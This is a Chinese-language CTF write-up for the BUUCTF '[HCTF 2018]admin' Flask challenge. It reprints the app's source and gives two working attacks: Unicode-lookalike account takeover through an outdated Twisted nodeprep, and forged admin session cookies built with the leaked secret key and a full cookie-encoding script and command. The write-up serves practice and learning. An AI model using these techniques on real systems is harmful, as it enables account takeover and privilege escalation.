BUUCTF做题记录-[HCTF 2018]admin
[HCTF 2018]admin
进入界面:
没注册的时候有"login","register"两个选项

随随便便就给它注册一个
诶,这回选择就多了
可以"index","post","change password","logout"

几次尝试:
由提示"admin"入手
提示为admin
那我就乖乖地注册一个admin账户
哦吼,我滴乖乖
已经被注册了

那说明什么,这个admin账户指定有点东西
首先想到的是使用BURPSUITE进行密码爆破
很显然,似乎是不能爆破,具体原因我不清楚,待大佬指点,记一坑,日后填
依然由"admin"开始操作,改变大小写
注册"Admin"账户假装我是"admin",以失败告终
正确姿势
进行修改密码时,查看网页源代码
可以发现提供题目源码的地址
https://github.com/woadsl1234/hctf_flask/
源码如下:
1 #!/usr/bin/env python 2 # -*- coding:utf-8 -*- 3 4 from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response 5 from flask_login import logout_user, LoginManager, current_user, login_user 6 from app import app, db 7 from config import Config 8 from app.models import User 9 from forms import RegisterForm, LoginForm, NewpasswordForm 10 from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep 11 from io import BytesIO 12 from code import get_verify_code 13 14 @app.route('/code') 15 def get_code(): 16 image, code = get_verify_code() 17 # 图片以二进制形式写入 18 buf = BytesIO() 19 image.save(buf, 'jpeg') 20 buf_str = buf.getvalue() 21 # 把buf_str作为response返回前端,并设置首部字段 22 response = make_response(buf_str) 23 response.headers['Content-Type'] = 'image/gif' 24 # 将验证码字符串储存在session中 25 session['image'] = code 26 return response 27 28 @app.route('/') 29 @app.route('/index') 30 def index(): 31 return render_template('index.html', title = 'hctf') 32 33 @app.route('/register', methods = ['GET', 'POST']) 34 def register(): 35 36 if current_user.is_authenticated: 37 return redirect(url_for('index')) 38 39 form = RegisterForm() 40 if request.method == 'POST': 41 name = strlower(form.username.data) 42 if session.get('image').lower() != form.verify_code.data.lower(): 43 flash('Wrong verify code.') 44 return render_template('register.html', title = 'register', form=form) 45 if User.query.filter_by(username = name).first(): 46 flash('The username has been registered') 47 return redirect(url_for('register')) 48 user = User(username=name) 49 user.set_password(form.password.data) 50 db.session.add(user) 51 db.session.commit() 52 flash('register successful') 53 return redirect(url_for('login')) 54 return render_template('register.html', title = 'register', form = form) 55 56 @app.route('/login', methods = ['GET', 'POST']) 57 def login(): 58 if current_user.is_authenticated: 59 return redirect(url_for('index')) 60 61 form = LoginForm() 62 if request.method == 'POST': 63 name = strlower(form.username.data) 64 session['name'] = name 65 user = User.query.filter_by(username=name).first() 66 if user is None or not user.check_password(form.password.data): 67 flash('Invalid username or password') 68 return redirect(url_for('login')) 69 login_user(user, remember=form.remember_me.data) 70 return redirect(url_for('index')) 71 return render_template('login.html', title = 'login', form = form) 72 73 @app.route('/logout') 74 def logout(): 75 logout_user() 76 return redirect('/index') 77 78 @app.route('/change', methods = ['GET', 'POST']) 79 def change(): 80 if not current_user.is_authenticated: 81 return redirect(url_for('login')) 82 form = NewpasswordForm() 83 if request.method == 'POST': 84 name = strlower(session['name']) 85 user = User.query.filter_by(username=name).first() 86 user.set_password(form.newpassword.data) 87 db.session.commit() 88 flash('change successful') 89 return redirect(url_for('index')) 90 return render_template('change.html', title = 'change', form = form) 91 92 @app.route('/edit', methods = ['GET', 'POST']) 93 def edit(): 94 if request.method == 'POST': 95 96 flash('post successful') 97 return redirect(url_for('index')) 98 return render_template('edit.html', title = 'edit') 99 100 @app.errorhandler(404) 101 def page_not_found(error): 102 title = unicode(error) 103 message = error.description 104 return render_template('errors.html', title=title, message=message) 105 106 def strlower(username): 107 username = nodeprep.prepare(username) 108 return username
Unicode欺骗
观察源码
在末尾定义了一个函数 strlower()
1 def strlower(username): 2 username = nodeprep.prepare(username) 3 return username
这个函数在注册、登录、修改密码中都存在

函数主体中 username = nodeprep.prepare(username)
观察源码第十行 from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
nodeprep是从Twisted模块导入
打开项目的requirements.txt
1 Flask==0.10.1 2 Werkzeug==0.10.4 3 Flask_Login==0.4.1 4 Twisted==10.2.0 5 Flask_SQLAlchemy==2.0 6 WTForms==2.2.1 7 Flask_Migrate==2.2.1 8 Flask_WTF==0.14.2 9 Pillow==5.3.0 10 pymysql==0.9.2
其中 Twisted==10.2.0
与官网的版本相比较,已是非常古老

利用古老版本的漏洞来作为这一题的突破口
而这里面就存在Unicode编码的一个问题
可以知道当使用了nodeprep.prepare()函数之后,如果我们先使用unicode的编码的字符,比如说 ᴬ ,使用该函数之后,他会先变成大写的A,再使用一次就会变成小写的a

下面是我自己使用python尝试了一下项目中的编译
其中Unicode编码 \u1d2c\u1d30\u1d39\u1d35\u1d3a 为"ᴬᴰᴹᴵᴺ"的unicode编码

报错为 raise UnicodeError("Unassigned code point %s" % repr(c)) 具体问题排查中
注册"ᴬᴰᴹᴵᴺ"账号

登录进去,猛如虎一顿操作,改一个我的小脑袋瓜子能够记得住的密码

退出该账号
通过"admin"进行登录
输入"ᴬᴰᴹᴵᴺ"账号的密码即可进入
悄咪咪地溜进去悄咪咪地拿到flag最后悄咪咪地走人

Session伪造
以下是来自学长的指点:
服务器端是通过seesion区分用户的
如果你解密你的seesion
然后添加管理员权限的标记
再加密回去
服务器就会认为你是admin
这题的session是存在于本地
由资料中的文章知flask的session是存在客户端
随便注册一个账号"beacon"
登录进去,拿到session

通过以下代码进行解码:
1 #!/usr/bin/env python3 2 import sys 3 import zlib 4 from base64 import b64decode 5 from flask.sessions import session_json_serializer 6 from itsdangerous import base64_decode 7 8 def decryption(payload): 9 payload, sig = payload.rsplit(b'.', 1) 10 payload, timestamp = payload.rsplit(b'.', 1) 11 12 decompress = False 13 if payload.startswith(b'.'): 14 payload = payload[1:] 15 decompress = True 16 17 try: 18 payload = base64_decode(payload) 19 except Exception as e: 20 raise Exception('Could not base64 decode the payload because of an exception') 21 22 if decompress: 23 try: 24 payload = zlib.decompress(payload) 25 except Exception as e: 26 raise Exception('Could not zlib decompress the payload before decoding the payload') 27 28 return session_json_serializer.loads(payload) 29 30 if __name__ == '__main__': 31 print(decryption(str(input("输入需要解码的Session:")).encode() ))
解码情况如下:

解码完成之后就是伪造session
伪造session需要SECRET_KEY
在项目文件中可以找到
1 import os 2 3 class Config(object): 4 SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123' 5 SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test' 6 SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY为"ckj123"
"name"由"beacon"修改为"admin"
进行session加密
加密代码如下(取自GitHub)
1 #!/usr/bin/env python3 2 """ Flask Session Cookie Decoder/Encoder """ 3 __author__ = 'Wilson Sumanang, Alexandre ZANNI' 4 5 # standard imports 6 import sys 7 import zlib 8 from itsdangerous import base64_decode 9 import ast 10 11 # Abstract Base Classes (PEP 3119) 12 if sys.version_info[0] < 3: # < 3.0 13 raise Exception('Must be using at least Python 3') 14 elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 15 from abc import ABCMeta, abstractmethod 16 else: # > 3.4 17 from abc import ABC, abstractmethod 18 19 # Lib for argument parsing 20 import argparse 21 22 # external Imports 23 from flask.sessions import SecureCookieSessionInterface 24 25 class MockApp(object): 26 27 def __init__(self, secret_key): 28 self.secret_key = secret_key 29 30 31 if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 32 class FSCM(metaclass=ABCMeta): 33 def encode(secret_key, session_cookie_structure): 34 """ Encode a Flask session cookie """ 35 try: 36 app = MockApp(secret_key) 37 38 session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) 39 si = SecureCookieSessionInterface() 40 s = si.get_signing_serializer(app) 41 42 return s.dumps(session_cookie_structure) 43 except Exception as e: 44 return "[Encoding error] {}".format(e) 45 raise e 46 47 48 def decode(session_cookie_value, secret_key=None): 49 """ Decode a Flask cookie """ 50 try: 51 if(secret_key==None): 52 compressed = False 53 payload = session_cookie_value 54 55 if payload.startswith('.'): 56 compressed = True 57 payload = payload[1:] 58 59 data = payload.split(".")[0] 60 61 data = base64_decode(data) 62 if compressed: 63 data = zlib.decompress(data) 64 65 return data 66 else: 67 app = MockApp(secret_key) 68 69 si = SecureCookieSessionInterface() 70 s = si.get_signing_serializer(app) 71 72 return s.loads(session_cookie_value) 73 except Exception as e: 74 return "[Decoding error] {}".format(e) 75 raise e 76 else: # > 3.4 77 class FSCM(ABC): 78 def encode(secret_key, session_cookie_structure): 79 """ Encode a Flask session cookie """ 80 try: 81 app = MockApp(secret_key) 82 83 session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) 84 si = SecureCookieSessionInterface() 85 s = si.get_signing_serializer(app) 86 87 return s.dumps(session_cookie_structure) 88 except Exception as e: 89 return "[Encoding error] {}".format(e) 90 raise e 91 92 93 def decode(session_cookie_value, secret_key=None): 94 """ Decode a Flask cookie """ 95 try: 96 if(secret_key==None): 97 compressed = False 98 payload = session_cookie_value 99 100 if payload.startswith('.'): 101 compressed = True 102 payload = payload[1:] 103 104 data = payload.split(".")[0] 105 106 data = base64_decode(data) 107 if compressed: 108 data = zlib.decompress(data) 109 110 return data 111 else: 112 app = MockApp(secret_key) 113 114 si = SecureCookieSessionInterface() 115 s = si.get_signing_serializer(app) 116 117 return s.loads(session_cookie_value) 118 except Exception as e: 119 return "[Decoding error] {}".format(e) 120 raise e 121 122 123 if __name__ == "__main__": 124 # Args are only relevant for __main__ usage 125 126 ## Description for help 127 parser = argparse.ArgumentParser( 128 description='Flask Session Cookie Decoder/Encoder', 129 epilog="Author : Wilson Sumanang, Alexandre ZANNI") 130 131 ## prepare sub commands 132 subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand') 133 134 ## create the parser for the encode command 135 parser_encode = subparsers.add_parser('encode', help='encode') 136 parser_encode.add_argument('-s', '--secret-key', metavar='<string>', 137 help='Secret key', required=True) 138 parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>', 139 help='Session cookie structure', required=True) 140 141 ## create the parser for the decode command 142 parser_decode = subparsers.add_parser('decode', help='decode') 143 parser_decode.add_argument('-s', '--secret-key', metavar='<string>', 144 help='Secret key', required=False) 145 parser_decode.add_argument('-c', '--cookie-value', metavar='<string>', 146 help='Session cookie value', required=True) 147 148 ## get args 149 args = parser.parse_args() 150 151 ## find the option chosen 152 if(args.subcommand == 'encode'): 153 if(args.secret_key is not None and args.cookie_structure is not None): 154 print(FSCM.encode(args.secret_key, args.cookie_structure)) 155 elif(args.subcommand == 'decode'): 156 if(args.secret_key is not None and args.cookie_value is not None): 157 print(FSCM.decode(args.cookie_value,args.secret_key)) 158 elif(args.cookie_value is not None): 159 print(FSCM.decode(args.cookie_value))
执行
python .\flask_session_cookie_manager.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'3fbbbd4cf0447592eac22fe47104c884df13b3eb75f93a47a15ca80c53c2de846e6606703cb8d1e9bd9ec0f9f124d9edcfc909583cfc8c42fe7eaeca159441ab', 'csrf_token': b'ade7afede008694bd78e9ab33291242fb3d9d3d4', 'image': b'6xVv', 'name': 'admin', 'user_id': '10'}"
将原session修改成伪造后的session值即可

资料
网上一题三解:三种本题解法
Unicode查询:Unicode character table
Session相关:session
Session加密:Session加密


浙公网安备 33010602011771号